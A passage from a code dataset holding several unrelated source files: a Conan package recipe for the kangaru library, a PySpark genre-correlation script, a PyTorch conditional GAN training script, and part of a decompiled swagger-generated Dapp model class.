tools, CMake\nimport os\n\n\nclass KangaruConan(ConanFile):\n name = \"kangaru\"\n description = \"A dependency injection container for C++11, C++14 and later\"\n license = \"MIT\"\n topics = (\"conan\", \"gracicot\", \"kangaru\",\n \"DI\", \"IoC\", \"inversion of control\")\n homepage = \"https://github.com/gracicot/kangaru/wiki\"\n url = \"https://github.com/conan-io/conan-center-index\"\n exports_sources = [\"CMakeLists.txt\", \"patches/**\"]\n generators = \"cmake\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\"reverse_destruction\": [True, False],\n \"no_exception\": [True, False]}\n default_options = {\"reverse_destruction\": True,\n \"no_exception\": False}\n\n _cmake = None\n\n @property\n def _source_subfolder(self):\n return \"source_subfolder\"\n\n @property\n def _build_subfolder(self):\n return \"build_subfolder\"\n\n def configure(self):\n if self.settings.compiler.cppstd:\n tools.check_min_cppstd(self, 11)\n\n def package_id(self):\n self.info.settings.clear()\n\n def source(self):\n tools.get(**self.conan_data[\"sources\"][self.version])\n os.rename(self.name + \"-\" + self.version, self._source_subfolder)\n\n def _configure_cmake(self):\n if self._cmake:\n return self._cmake\n self._cmake = CMake(self)\n self._cmake.definitions[\"KANGARU_REVERSE_DESTRUCTION\"] = self.options.reverse_destruction\n self._cmake.definitions[\"KANGARU_NO_EXCEPTION\"] = self.options.no_exception\n self._cmake.configure(build_folder=self._build_subfolder)\n return self._cmake\n\n def build(self):\n for patch in self.conan_data.get(\"patches\", {}).get(self.version, []):\n tools.patch(**patch)\n cmake = self._configure_cmake()\n cmake.build()\n\n def package(self):\n cmake = self._configure_cmake()\n cmake.install()\n tools.rmdir(os.path.join(self.package_folder, \"lib\"))\n self.copy(os.path.join(self._source_subfolder, \"LICENSE\"), \"licenses\")\n","sub_path":"recipes/kangaru/all/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"346655095","text":"from operator import itemgetter\nimport numpy\n\npath = \"test_data.out\"\n\ndef create_index_dict(inverse=False):\n\tdata = sc.textFile(path, 80)\n\tindex = [int(x) for x in data.flatMap(lambda line : line.split(\"\\t\")).distinct().collect()]\n\tindex.sort()\n\tindex_dict = dict()\n\tif inverse:\n\t\tfor new, old in enumerate(index):\n\t\t\tindex_dict[new] = old\t\t\n\telse:\n\t\tfor new, old in enumerate(index):\n\t\t\tindex_dict[old] = new\n\treturn index_dict\n\n\"\"\" Select the top_n features\"\"\"\ndef selectTopNFeatures(top_n):\n\tdata = sc.textFile(path, 80)\n\tcolumns = data.flatMap(lambda line : line.split(\"\\t\")).map(lambda col : (index_dict[int(col)], 1)).reduceByKey(lambda x, y : x + y)\n\tsortedFeatures = sorted(columns.collect(), key=itemgetter(1), reverse=True)\n\ttopFeatures = list(feature[0] for feature in sortedFeatures[0 : top_n]) # select & filter out the word count\n\treturn topFeatures\n\ndef sortPoint(line):\n\tvalues = [index_dict[int(x)] for x in line.split(\"\\t\")]\n\tvalues = list(set(values))\n\tvalues.sort()\n\treturn values\n\ndef check_occurrence(line):\n\tans = []\n\tfor i in line:\n\t\tans.append((i, 1))\n\treturn ans\n\ndef check_cooccurrence(line):\n\tans = []\n\tfor i in line:\n\t\tfor j in line:\n\t\t\tkey = str(i) + '|' + str(j)\n\t\t\tans.append((key, 1))\n\treturn ans\n\nindex_dict = create_index_dict()\ninverse_index_dict = create_index_dict(inverse=True)\n\ndata = sc.textFile(path, 80)\ncolCount = data.flatMap(lambda line : line.split(\"\\t\")).distinct().count()\n\nselect_n = colCount\ntopFeatures = selectTopNFeatures(select_n)\n\nsortedData = data.map(sortPoint)#.filter(lambda list : len(list) >= 10)\nrowCount = float(sortedData.count())\nsortedData.cache()\n\nprob = numpy.zeros(select_n)\n\ncount = sortedData.flatMap(check_occurrence).reduceByKey(lambda x, y : x + y).collect()\nfor item in count:\n\tprob[topFeatures.index(item[0])] = item[1] / rowCount\n\"\"\"\nX => Y\np(Y|X) = p(Y U X) / p(X)\nCPIR(Y|X) = (p(Y|X) - p(Y)) / (1 - p(Y)) if p(Y|X) >= P(Y), p(Y) != 1\nCPIR(Y|X) = (p(Y|X) - p(Y)) / (p(Y)) if P(Y) > p(Y|X), p(Y) != 0\n\"\"\"\nCPIR = numpy.empty(select_n * select_n).reshape(select_n, select_n)\nCPIR.fill(-1)\n\ncooccurrence = numpy.zeros(select_n * select_n).reshape(select_n, select_n)\n\ndef get_CPIR(line):\n\tparts = line[0].split('|')\n\tcount = line[1]\n\ti = topFeatures.index(int(parts[0]))\n\tj = topFeatures.index(int(parts[1]))\n\tcooccurrence = count / rowCount\n\tpY_X = count / rowCount / prob[i]\n\tif pY_X >= prob[j]:\n\t\tCPIR = (pY_X - prob[j]) / (1 - prob[j])\n\telse:\n\t\tCPIR = (pY_X - prob[j]) / (prob[j])\n\treturn ((i, j), CPIR, cooccurrence)\n\nfills = sortedData.flatMap(check_cooccurrence).reduceByKey(lambda x, y : x + y).map(get_CPIR).collect()\n\nfor fill in fills:\n\tCPIR[fill[0]] = fill[1]\n\nfor fill in fills:\n\tcooccurrence[fill[0]] = fill[2]\n\nfor i in range(len(topFeatures)):\n\ttopFeatures[i] = inverse_index_dict[topFeatures[i]]\n\ngenres = numpy.array(numpy.loadtxt(\"test_data_genre_meta\", delimiter=\"\\t\", dtype=\"string\"))\n\ngenre_dict = {}\n\nfor genre in genres:\n\tgenre_dict[int(genre[0])] = genre[1] + '\\t' + genre[2]\n\ndef get_negative(frequency_threshold, independence_threshold):\n\tans = []\n\tfor i in range(select_n):\n\t\tfor j in range(select_n):\n\t\t\tif CPIR[i][j] < 0:\n\t\t\t\tif prob[i] > frequency_threshold:\n\t\t\t\t\tif abs(prob[i]*prob[j]-cooccurrence[i][j]) > independence_threshold:\n\t\t\t\t\t\tfirst = genre_dict[topFeatures[i]].split('\\t')\n\t\t\t\t\t\tsecond = genre_dict[topFeatures[j]].split('\\t')\n\t\t\t\t\t\tresult = ( '(' + first[0] + ' -> ' + second[0] +')', \n\t\t\t\t\t\t\t'(' + first[1] + ' -> ' + second[1] +')', \n\t\t\t\t\t\t\tCPIR[i][j])\n\t\t\t\t\t\tans.append(result)\n\tans = sorted(ans, key=itemgetter(2))\n\treturn ans\n\ndef get_positive(frequency_threshold, independence_threshold):\n\tans = []\n\tfor i in range(select_n):\n\t\tfor j in range(select_n):\n\t\t\tif CPIR[i][j] > 0 and i != j:\n\t\t\t\tif prob[i] > frequency_threshold:\n\t\t\t\t\tif abs(prob[i]*prob[j]-cooccurrence[i][j]) > independence_threshold:\n\t\t\t\t\t\tfirst = genre_dict[topFeatures[i]].split('\\t')\n\t\t\t\t\t\tsecond = genre_dict[topFeatures[j]].split('\\t')\n\t\t\t\t\t\tresult = ( '(' + first[0] + ' -> ' + second[0] +')', \n\t\t\t\t\t\t\t'(' + first[1] + ' -> ' + second[1] +')', \n\t\t\t\t\t\t\tCPIR[i][j])\n\t\t\t\t\t\tans.append(result)\n\tans = sorted(ans, key=itemgetter(2), reverse=True)\n\treturn ans\n\nfrequency_threshold = 0.00001\nindependence_threshold = 0.00001\nresult = get_negative(frequency_threshold, independence_threshold)\nlen(result)\n\nf = open(\"negative_correlation_0.00001.csv\", \"w\")\n\nfor line in result:\n\tf.write(line[0] + \"\\t\" + line[1] + '\\t' + str(line[2]) + \"\\n\")\n\nf.close()\n\nfrequency_threshold = 0.00001\nindependence_threshold = 0.00001\nresult = get_positive(frequency_threshold, independence_threshold)\nlen(result)\n\nf = open(\"positive_correlation_0.00001.csv\", \"w\")\n\nfor line in result:\n\tf.write(line[0] + \"\\t\" + line[1] + '\\t' + str(line[2]) + \"\\n\")\n\nf.close()","sub_path":"small_dataset/count/CPIR_negative_filter.py","file_name":"CPIR_negative_filter.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"298636327","text":"from utils import SimpleDataset, np2Var, tensor2Var, create_fake_tags, array_back_style\nfrom model import Generator, Critic, Generator_img2img, Critic_img2img\n\nimport os\nimport random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable, grad\nimport torchvision as tv\nfrom torch.utils.data import Dataset, DataLoader\n\n# os.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\n\n\ndef calc_grad_penalty(args, net, real_data, fake_data, real_tags, fake_tags):\n\n alpha = torch.FloatTensor(real_data.size(0), 1, 1, 1).uniform_(0, 1)\n # alpha.uniform_(0, 1)\n\n # alpha_t = alpha.expand(real_data.size())\n\n inter_data = alpha * real_data + ((1 - alpha) * fake_data)\n\n inter_tags = alpha * real_tags + ((1 - alpha) * fake_tags)\n\n # inter_tags = real_tags\n inter_data = tensor2Var(inter_data, requires_grad=True)\n inter_tags = tensor2Var(inter_tags, requires_grad=True)\n\n disc_interpolates = net(inter_data, inter_tags)\n\n # assert disc_interpolates.size() == one_label.size(), 'one_label size mismatch'\n input_data = [inter_data, inter_tags]\n input_one = [tensor2Var(torch.ones(disc_interpolates.size())), \n tensor2Var(torch.ones(disc_interpolates.size()))]\n\n # input_data = inter_data\n # input_one = tensor2Var(torch.ones(disc_interpolates.size()))\n\n gradients_x, gradients_tags = grad(\n outputs=disc_interpolates, \n inputs=input_data,\n grad_outputs=input_one,\n create_graph=True, retain_graph=True, only_inputs=True)\n\n while len(gradients_x.size()) > 1:\n gradients_x = gradients_x.norm(2, dim=(len(gradients_x.size()) - 1))\n\n gradients_tags = gradients_tags.norm(2, dim=1)\n\n gradients = (gradients_x ** 2 + gradients_tags ** 2).sqrt()\n # gradients = gradients_x\n gradient_penalty = args.LAMBDA * ((gradients - 1.0) ** 2).mean()\n return gradient_penalty\n\ndef calc_x_grad_penalty(args, net, real_data, fake_data, real_tags, fake_tags):\n\n alpha = torch.FloatTensor(real_data.size(0), 1, 1, 1).uniform_(0, 1)\n # alpha.uniform_(0, 1)\n\n # alpha_t = alpha.expand(real_data.size())\n\n inter_data = alpha * real_data + ((1 - alpha) * fake_data)\n\n\n # inter_tags = real_tags\n inter_data = tensor2Var(inter_data, requires_grad=True)\n\n disc_interpolates, _ = net(inter_data, real_tags)\n\n # assert disc_interpolates.size() == one_label.size(), 'one_label size mismatch'\n\n input_data = inter_data\n input_one = tensor2Var(torch.ones(disc_interpolates.size()))\n\n gradients_x = grad(\n outputs=disc_interpolates, \n inputs=input_data,\n grad_outputs=input_one,\n create_graph=True, retain_graph=True, only_inputs=True)[0]\n\n while len(gradients_x.size()) > 1:\n gradients_x = gradients_x.norm(2, dim=(len(gradients_x.size()) - 1))\n\n gradients = gradients_x\n gradient_penalty = args.LAMBDA * ((gradients - 1.0) ** 2).mean()\n return gradient_penalty\ndef bce_loss(output, target, mask):\n assert output.size() == target.size()\n assert output.size() == mask.size()\n return -(target * torch.log(output + 1e-8) * mask + \\\n (1.0 - target) * torch.log(1.0 - output + 1e-8) * mask).sum(dim=1).mean()\n\ndef train_C(args, data, tags, mask, netG_pre, netG, netC, optC):\n\n noise = torch.FloatTensor(data.size(0), args.nz, 1, 1).uniform_(0, args.noise_max)\n\n noise_v = tensor2Var(noise, volatile=True)\n data_v, tags_v, mask_v = tensor2Var(data), tensor2Var(tags), tensor2Var(mask)\n\n _, tags_id = torch.topk(tags, 2, dim=1)\n fake_tags = torch.zeros(tags.size())\n for i in range(tags_id.size(0)):\n hair, eyes = create_fake_tags(tags_id[i, 0], tags_id[i, 1])\n fake_tags[i, hair] = 1.0\n fake_tags[i, eyes] = 1.0\n fake_tags_v = tensor2Var(fake_tags)\n\n fake_data_v = netG_pre(noise_v, tags_v)\n fake_data_v = Variable(netG(fake_data_v, tags_v).data)\n\n # real data with real tags\n real_real, real_real_class = netC(data_v, tags_v)\n # real data with fake tags\n real_fake, real_fake_class = netC(data_v, fake_tags_v)\n # fake data with real tags\n fake_real, fake_real_class = netC(fake_data_v, tags_v)\n # fake data with fake tags\n # fake_fake = netC(fake_data_v, fake_tags_v)\n\n # real_fake_grads = calc_grad_penalty(args, netC, data, data, tags, fake_tags)\n fake_real_grads = calc_x_grad_penalty(args, netC, data, fake_data_v.cpu().data, tags, tags)\n # fake_fake_grads = calc_grad_penalty(args, netC, data, fake_data_v.cpu().data, tags, fake_tags)\n\n real = real_real.mean()\n fake = fake_real.mean()\n grads_penalty = fake_real_grads\n\n class_loss = (bce_loss(real_real_class, tags_v, mask_v) + \\\n bce_loss(fake_real_class, tags_v, mask_v)) / 2.0\n\n\n netC.zero_grad()\n\n\n loss = -real + fake + grads_penalty + class_loss\n loss.backward()\n # grads_penalty.backward()\n\n\n optC.step()\n\n return (real - fake).cpu().data.numpy()[0], class_loss.cpu().data.numpy()[0]\n\ndef train_G(args, data, tags, mask, netG_pre, netG, netC, optG):\n noise = torch.FloatTensor(data.size(0), args.nz, 1, 1).uniform_(0, args.noise_max)\n\n noise_v = tensor2Var(noise)\n\n # fake_tags = torch.zeros(tags.size())\n # for i in range(fake_tags.size(0)):\n # hair, eyes = create_fake_tags(0, 13)\n # fake_tags[i, hair] = 1.0\n # fake_tags[i, eyes] = 1.0\n # fake_tags_v = tensor2Var(fake_tags)\n\n tags_v, mask_v = tensor2Var(tags), tensor2Var(mask)\n\n fake_data_v = Variable(netG_pre(noise_v, tags_v).data)\n\n fake_data_v = netG(fake_data_v, tags_v)\n\n fake_real, fake_real_class = netC(fake_data_v, tags_v)\n\n loss = -fake_real.mean() + bce_loss(fake_real_class, tags_v, mask_v)\n\n netG.zero_grad()\n loss.backward()\n\n optG.step()\n\n return (-loss).cpu().data.numpy()[0]\n\n\ndef run_epoch(args, tr_loader, netG_pre, netG, netC, optG, optC):\n # for i, (data, label) in enumerate(tr_loader):\n data_iter = iter(tr_loader)\n iteration = 0\n\n while iteration < len(data_iter):\n ################\n ## update Critic\n ################\n for p in netG.parameters():\n p.requires_grad = False\n for p in netC.parameters():\n p.requires_grad = True\n j = 0\n while iteration < len(data_iter) and j < 5:\n data, tags, mask = next(data_iter)\n W, C = train_C(args, data, tags, mask, netG_pre, netG, netC, optC)\n\n # for p in netC.parameters():\n # p.data.clamp_(-0.01, 0.01)\n\n j += 1\n iteration += 1\n ###################\n ## update Generator\n ###################\n for p in netG.parameters():\n p.requires_grad = True\n for p in netC.parameters():\n p.requires_grad = False\n\n F = train_G(args, data, tags, mask, netG_pre, netG, netC, optG)\n \n return W, C, F, data, tags.numpy(), mask.numpy()\n\ndef train(args, logger, tags_dict, mask_dict, id2style):\n\n # tr_dset = SimpleDataset(args.img_dir, tags_dict, mask_dict, transform)\n tr_dset = SimpleDataset(args.img_dir, tags_dict, mask_dict, args.image, args.degree)\n\n tr_loader = DataLoader(\n tr_dset,\n batch_size=args.batch,\n shuffle=True,\n num_workers=16,\n )\n\n # netG = G_net(args.nz, len(id2style))\n # netC = D_net(len(id2style))\n\n netG_pre = Generator(\n nz=args.nz,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=64\n )\n\n netG = Generator_img2img(\n nz=args.nc,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=args.image\n )\n netC = Critic_img2img(\n nz=args.nz,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=args.image\n )\n if torch.cuda.is_available():\n netG_pre = netG_pre.cuda()\n netG, netC = netG.cuda(), netC.cuda()\n\n\n netG_pre_path = 'ADLxMLDS_hw4_model/binary_style_mask_aug/netG_500.pth'\n netG_pre.load_state_dict(torch.load(netG_pre_path, map_location=lambda storage, loc: storage))\n for p in netG_pre.parameters():\n p.requires_grad = False\n netG_pre.eval()\n\n\n logger.info(netG)\n logger.info(netC)\n\n optG = torch.optim.Adam(netG.parameters(), lr=args.lr, betas=(0.5, 0.9))\n optC = torch.optim.Adam(netC.parameters(), lr=args.lr, betas=(0.5, 0.9))\n\n min_W = 1000.0\n sample_size = 16\n\n save_folder = os.path.join(args.root, args.save)\n load_folder = os.path.join(args.root, args.load)\n\n if args.load != '':\n netG_path = os.path.join(load_folder, 'netG_%d.pth' % args.model_id)\n netC_path = os.path.join(load_folder, 'netC_%d.pth' % args.model_id)\n netG.load_state_dict(torch.load(netG_path, map_location=lambda storage, loc: storage))\n netC.load_state_dict(torch.load(netC_path, map_location=lambda storage, loc: storage))\n\n logger.info('load from: %s success!!!!!!!!!!!!!' % netG_path)\n logger.info('load from: %s success!!!!!!!!!!!!!' % netC_path)\n\n\n W_list = []\n C_list = []\n epoch_list = []\n w2epoch = os.path.join(save_folder, 'w2epoch.png')\n c2epoch = os.path.join(save_folder, 'c2epoch.png')\n\n\n noise = torch.FloatTensor(sample_size, args.nz, 1, 1).uniform_(0, args.noise_max)\n noise_v = tensor2Var(noise, volatile=True)\n\n fake_tags = torch.zeros(sample_size, len(id2style))\n for i in range(fake_tags.size(0)):\n hair, eyes = create_fake_tags(-1, -1)\n fake_tags[i, hair] = 1.0\n fake_tags[i, eyes] = 1.0\n logger.info('%d: %s, %s' % (i, id2style[hair], id2style[eyes]))\n fake_tags_v = tensor2Var(fake_tags, volatile=True)\n\n print_ground_truth = 1\n\n transform = tv.transforms.Compose([\n tv.transforms.ToPILImage(),\n tv.transforms.Scale(64),\n tv.transforms.ToTensor(),\n ])\n\n for epoch in range(args.max_epoch + 1):\n W, C, _, real_data, real_tags, real_mask = run_epoch(args, tr_loader, netG_pre, \n netG, netC, optG, optC)\n\n logger.info('epoch: %d, Wasserstain Dist: %.4f, Class loss: %.4f' % (epoch, W, C))\n\n fake_data_v = netG_pre(noise_v, fake_tags_v)\n fake_data_v = netG(fake_data_v, fake_tags_v)\n\n if print_ground_truth:\n choose = random.randint(0, real_tags.shape[0] - sample_size)\n real_data = real_data[choose: choose+sample_size]\n real_tags = real_tags[choose: choose+sample_size]\n real_mask = real_mask[choose: choose+sample_size]\n\n real_style = array_back_style(real_tags, id2style)\n\n logger.info('real tags')\n logger.info(real_style)\n logger.info(real_mask)\n print_ground_truth = 0\n img_path = os.path.join(save_folder, 'real.png')\n tv.utils.save_image(real_data, img_path, nrow=4)\n\n img_list = []\n for i in range(fake_data_v.size(0)):\n img_list.append(transform(fake_data_v.cpu().data[i]))\n img_data = torch.stack(img_list)\n\n img_path = os.path.join(save_folder, 'fake_%d.png' % epoch)\n tv.utils.save_image(img_data, img_path, nrow=4)\n\n W_list.append(W)\n C_list.append(C)\n epoch_list.append(epoch)\n\n # plot(epoch_list, W_list, 'epochs', 'Wasserstain Distance', w2epoch)\n # plot(epoch_list, C_list, 'epochs', 'Class loss', c2epoch)\n\n if epoch % 50 == 0 and epoch != 0:\n netG_path = os.path.join(save_folder, 'netG_%d.pth' % epoch)\n netC_path = os.path.join(save_folder, 'netC_%d.pth' % epoch)\n\n torch.save(netG.state_dict(), netG_path)\n torch.save(netC.state_dict(), netC_path)\n\ndef test(args, logger, _id, _tags, id2style):\n netG_pre = Generator(\n nz=args.nz,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=64\n )\n netG = Generator_img2img(\n nz=args.nc,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=args.image\n )\n\n if torch.cuda.is_available():\n netG = netG.cuda()\n netG_pre = netG_pre.cuda()\n\n logger.info(netG_pre)\n logger.info(netG)\n\n netG_pre_path = 'ADLxMLDS_hw4_model/binary_style_mask_aug/netG_500.pth'\n load_folder = os.path.join(args.root, args.load)\n\n if args.load != '':\n netG_path = os.path.join(load_folder, 'netG_%d.pth' % args.model_id)\n \n netG.load_state_dict(torch.load(netG_path, map_location=lambda storage, loc: storage))\n netG_pre.load_state_dict(torch.load(netG_pre_path, map_location=lambda storage, loc: storage))\n\n logger.info('load from: %s success!!!!!!!!!!!!!' % netG_path)\n logger.info('load from: %s success!!!!!!!!!!!!!' % netG_pre_path)\n else:\n logger.info('please load a model!!!!!')\n exit()\n\n i = 0\n torch.manual_seed(307)\n\n img_dir = os.path.join(args.img_save)\n\n if not os.path.exists(img_dir):\n os.mkdir(img_dir)\n\n\n transform = tv.transforms.Compose([\n tv.transforms.ToPILImage(),\n tv.transforms.Scale(64),\n tv.transforms.ToTensor(),\n ])\n netG.eval()\n netG_pre.eval()\n while i * args.batch < _tags.shape[0]:\n ba_tags = _tags[i*args.batch: (i+1)*args.batch]\n ba_id = _id[i*args.batch: (i+1)*args.batch]\n ba_tags_v = np2Var(ba_tags, volatile=True)\n # img_list = []\n for s in range(1, args.sample_num+1):\n\n noise = torch.FloatTensor(ba_tags.shape[0], args.nz , 1, 1).uniform_(0, args.noise_max)\n\n noise_v = tensor2Var(noise, volatile=True)\n\n fake_img = netG_pre(noise_v, ba_tags_v)\n fake_img = netG(fake_img, ba_tags_v).cpu().data\n\n # fake_img = transform(fake_img[0])\n\n # img_list.append(fake_img)\n for j in range(ba_tags.shape[0]):\n img = fake_img[j]\n img = transform(img)\n img_name = os.path.join(img_dir, 'sample_%s_%d.jpg' % (ba_id[j], s))\n tv.utils.save_image(img, img_name)\n # img = torch.stack((img_list))\n # img_name = os.path.join(img_dir, 'sample_%d.jpg' % i)\n # tv.utils.save_image(img, img_name)\n\n i += 1\n\n logger.info('Generation done~~~')\n\n","sub_path":"hw4/train_stage_2.py","file_name":"train_stage_2.py","file_ext":"py","file_size_in_byte":14207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"476535602","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/erhu/project/gitrepo/hep-sdk/venv/lib/python3.6/site-packages/hep_rest_api/models/dapp.py\n# Compiled at: 2019-07-15 09:20:14\n# Size of source mod 2**32: 20358 bytes\n\"\"\"\n HEP REST API\n\n The REST API for HEP protocol # noqa: E501\n\n OpenAPI spec version: v1\n Contact: xiawu@zeuux.org\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\nimport pprint, re, six\n\nclass Dapp(object):\n __doc__ = 'NOTE: This class is auto generated by the swagger code generator program.\\n\\n Do not edit the class manually.\\n '\n swagger_types = {'dapp_id':'str', \n 'dapp_name':'str', \n 'icon':'str', \n 'dapp_public_key':'str', \n 'package_name':'str', \n 'bundle_id':'str', \n 'schema':'str', \n 'website':'str', \n 'deposit_contract_address':'str', \n 'dapp_type_ids':'list[int]', \n 'dapp_category_id':'int', \n 'auth_login_callback':'str', \n 'pay_order_callback':'str', \n 'proof_submit_callback':'str'}\n attribute_map = {'dapp_id':'dapp_id', \n 'dapp_name':'dapp_name', \n 'icon':'icon', \n 'dapp_public_key':'dapp_public_key', \n 'package_name':'package_name', \n 'bundle_id':'bundle_id', \n 'schema':'schema', \n 'website':'website', \n 'deposit_contract_address':'deposit_contract_address', \n 'dapp_type_ids':'dapp_type_ids', \n 'dapp_category_id':'dapp_category_id', \n 'auth_login_callback':'auth_login_callback', \n 'pay_order_callback':'pay_order_callback', \n 'proof_submit_callback':'proof_submit_callback'}\n\n def __init__(self, dapp_id=None, dapp_name=None, icon=None, dapp_public_key=None, package_name=None, bundle_id=None, schema=None, website=None, deposit_contract_address=None, dapp_type_ids=None, dapp_category_id=None, auth_login_callback=None, pay_order_callback=None, proof_submit_callback=None):\n \"\"\"Dapp - a model defined in Swagger\"\"\"\n self._dapp_id = None\n self._dapp_name = None\n self._icon = None\n self._dapp_public_key = None\n self._package_name = None\n self._bundle_id = None\n self._schema = None\n self._website = None\n self._deposit_contract_address = None\n self._dapp_type_ids = None\n self._dapp_category_id = None\n self._auth_login_callback = None\n self._pay_order_callback = None\n self._proof_submit_callback = None\n self.discriminator = None\n self.dapp_id = dapp_id\n self.dapp_name = dapp_name\n self.icon = icon\n self.dapp_public_key = dapp_public_key\n self.package_name = package_name\n self.bundle_id = bundle_id\n self.schema = schema\n self.website = website\n self.deposit_contract_address = deposit_contract_address\n self.dapp_type_ids = dapp_type_ids\n self.dapp_category_id = dapp_category_id\n self.auth_login_callback = auth_login_callback\n self.pay_order_callback = pay_order_callback\n self.proof_submit_callback = proof_submit_callback\n\n @property\n def dapp_id(self):\n \"\"\"Gets the dapp_id of this Dapp. # noqa: E501\n\n The decentralized application ID # noqa: E501\n\n :return: The dapp_id of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._dapp_id\n\n @dapp_id.setter\n def dapp_id(self, dapp_id):\n \"\"\"Sets the dapp_id of this Dapp.\n\n The decentralized application ID # noqa: E501\n\n :param dapp_id: The dapp_id of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if dapp_id is None:\n raise ValueError('Invalid value for `dapp_id`, must not be `None`')\n else:\n if dapp_id is not None:\n if len(dapp_id) > 64:\n raise ValueError('Invalid value for `dapp_id`, length must be less than or equal to `64`')\n if dapp_id is not None:\n if len(dapp_id) < 1:\n raise ValueError('Invalid value for `dapp_id`, length must be greater than or equal to `1`')\n self._dapp_id = dapp_id\n\n @property\n def dapp_name(self):\n \"\"\"Gets the dapp_name of this Dapp. # noqa: E501\n\n The decentralized application name # noqa: E501\n\n :return: The dapp_name of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._dapp_name\n\n @dapp_name.setter\n def dapp_name(self, dapp_name):\n \"\"\"Sets the dapp_name of this Dapp.\n\n The decentralized application name # noqa: E501\n\n :param dapp_name: The dapp_name of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if dapp_name is None:\n raise ValueError('Invalid value for `dapp_name`, must not be `None`')\n else:\n if dapp_name is not None:\n if len(dapp_name) > 64:\n raise ValueError('Invalid value for `dapp_name`, length must be less than or equal to `64`')\n if dapp_name is not None:\n if len(dapp_name) < 1:\n raise ValueError('Invalid value for `dapp_name`, length must be greater than or equal to `1`')\n self._dapp_name = dapp_name\n\n @property\n def icon(self):\n \"\"\"Gets the icon of this Dapp. # noqa: E501\n\n The icon of application # noqa: E501\n\n :return: The icon of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._icon\n\n @icon.setter\n def icon(self, icon):\n \"\"\"Sets the icon of this Dapp.\n\n The icon of application # noqa: E501\n\n :param icon: The icon of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if icon is None:\n raise ValueError('Invalid value for `icon`, must not be `None`')\n else:\n if icon is not None:\n if len(icon) > 64:\n raise ValueError('Invalid value for `icon`, length must be less than or equal to `64`')\n if icon is not None:\n if len(icon) < 1:\n raise ValueError('Invalid value for `icon`, length must be greater than or equal to `1`')\n self._icon = icon\n\n @property\n def dapp_public_key(self):\n \"\"\"Gets the dapp_public_key of this Dapp. # noqa: E501\n\n The public key of DApp # noqa: E501\n\n :return: The dapp_public_key of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._dapp_public_key\n\n @dapp_public_key.setter\n def dapp_public_key(self, dapp_public_key):\n \"\"\"Sets the dapp_public_key of this Dapp.\n\n The public key of DApp # noqa: E501\n\n :param dapp_public_key: The dapp_public_key of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if dapp_public_key is None:\n raise ValueError('Invalid value for `dapp_public_key`, must not be `None`')\n else:\n if dapp_public_key is not None:\n if len(dapp_public_key) > 64:\n raise ValueError('Invalid value for `dapp_public_key`, length must be less than or equal to `64`')\n if dapp_public_key is not None:\n if len(dapp_public_key) < 1:\n raise ValueError('Invalid value for `dapp_public_key`, length must be greater than or equal to `1`')\n self._dapp_public_key = dapp_public_key\n\n @property\n def package_name(self):\n \"\"\"Gets the package_name of this Dapp. # noqa: E501\n\n The package name such as com.demo.dev.android # noqa: E501\n\n :return: The package_name of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._package_name\n\n @package_name.setter\n def package_name(self, package_name):\n \"\"\"Sets the package_name of this Dapp.\n\n The package name such as com.demo.dev.android # noqa: E501\n\n :param package_name: The package_name of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if package_name is None:\n raise ValueError('Invalid value for `package_name`, must not be `None`')\n else:\n if package_name is not None:\n if len(package_name) > 64:\n raise ValueError('Invalid value for `package_name`, length must be less than or equal to `64`')\n if package_name is not None:\n if len(package_name) < 1:\n raise ValueError('Invalid value for `package_name`, length must be greater than or equal to `1`')\n self._package_name = package_name\n\n @property\n def bundle_id(self):\n \"\"\"Gets the bundle_id of this Dapp. # noqa: E501\n\n The bundle id such as com.demo.dev.ios for iOS platform # noqa: E501\n\n :return: The bundle_id of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._bundle_id\n\n @bundle_id.setter\n def bundle_id(self, bundle_id):\n \"\"\"Sets the bundle_id of this Dapp.\n\n The bundle id such as com.demo.dev.ios for iOS platform # noqa: E501\n\n :param bundle_id: The bundle_id of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if bundle_id is None:\n raise ValueError('Invalid value for `bundle_id`, must not be `None`')\n else:\n if bundle_id is not None:\n if len(bundle_id) > 64:\n raise ValueError('Invalid value for `bundle_id`, length must be less than or equal to `64`')\n if bundle_id is not None:\n if len(bundle_id) < 1:\n raise ValueError('Invalid value for `bundle_id`, length must be greater than or equal to `1`')\n self._bundle_id = bundle_id\n\n @property\n def schema(self):\n \"\"\"Gets the schema of this Dapp. # noqa: E501\n\n The routing schema # noqa: E501\n\n :return: The schema of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._schema\n\n @schema.setter\n def schema(self, schema):\n \"\"\"Sets the schema of this Dapp.\n\n The routing schema # noqa: E501\n\n :param schema: The schema of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if schema is None:\n raise ValueError('Invalid value for `schema`, must not be `None`')\n else:\n if schema is not None:\n if len(schema) > 64:\n raise ValueError('Invalid value for `schema`, length must be less than or equal to `64`')\n if schema is not 